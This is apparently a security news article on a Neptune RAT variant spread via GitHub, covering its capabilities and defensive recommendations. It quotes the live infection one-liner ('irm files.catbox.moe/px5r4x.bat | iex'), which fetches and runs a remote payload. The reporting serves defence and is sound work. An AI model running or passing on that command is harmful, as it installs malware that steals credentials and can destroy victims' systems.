NEPTUNE RAT Attacking Windows Users to Exfiltrate Passwords from 270+ Apps

Security researchers at CYFIRMA have identified a dangerous new variant of Neptune RAT (Remote Access Trojan) spreading via GitHub repositories.

This sophisticated malware uses PowerShell commands to establish persistent access to victims’ systems while evading traditional security measures.

Attack Vector and Technical Details

The latest Neptune RAT version employs a deceptively simple yet effective infection chain.

The malware creator distributes the attack through a PowerShell command string that can be easily copied and executed on target systems:

irm files.catbox.moe/px5r4x.bat | iex

This command combines two powerful PowerShell functions: Invoke-RestMethod (irm) to download content from the URL and Invoke-Expression (iex) to execute the downloaded script immediately in memory.

The command retrieves a batch file that contains Base64-encoded payloads hosted on catbox.moe, which are then decoded and executed on the victim’s system.

“What makes this attack particularly dangerous is how it bypasses traditional security controls,” explains a CYFIRMA researcher.

“The malware is never saved as a traditional executable file during initial infection, making it difficult for standard antivirus solutions to detect”

Advanced Capabilities

Neptune RAT, developed by a group calling themselves “Freemasonry,” incorporates an extensive array of malicious capabilities:

• Ransomware functionality that encrypts files with a custom key generation algorithm
• Crypto clipper that monitors clipboards for cryptocurrency wallet addresses and replaces them with attacker-controlled addresses
• Password stealer capable of extracting credentials from over 270 different applications
• Live desktop monitoring and webcam access
• System destruction features, including MBR (Master Boot Record) corruption
• Anti-analysis techniques, including VM detection to evade security researchers

The malware establishes persistence through multiple methods, including Windows Registry modifications and scheduled tasks, ensuring it remains active even after system reboots.

Protection Recommendations

Cybersecurity experts recommend several measures to protect against Neptune RAT and similar threats:

1. Implement application control policies to restrict PowerShell execution, particularly blocking irm and iex commands
2. Configure firewalls to block connections to suspicious domains like catbox.moe
3. Enable multi-factor authentication to reduce risks from credential theft
4. Perform regular security updates and patch management
5. Deploy advanced endpoint protection capable of detecting suspicious PowerShell activity

“This type of attack highlights how threat actors continue to evolve their techniques,” notes a security analyst.

“The combination of PowerShell living-off-the-land techniques with RAT capabilities creates a particularly dangerous threat.”

Broader Threat Landscape

Neptune RAT joins a growing ecosystem of remote access trojans, including VenomRAT, Remcos RAT, and the long-established Gh0st RAT.

These malware families share similar capabilities but vary in their distribution methods and technical implementations.

What distinguishes Neptune RAT is its modular architecture using multiple DLLs for different functions, heavily obfuscated code using Arabic characters, and its creator’s active promotion on social media platforms.

Security researchers continue to track this threat as it evolves, with indicators of compromise and YARA detection rules now available to help organizations identify and mitigate potential infections.

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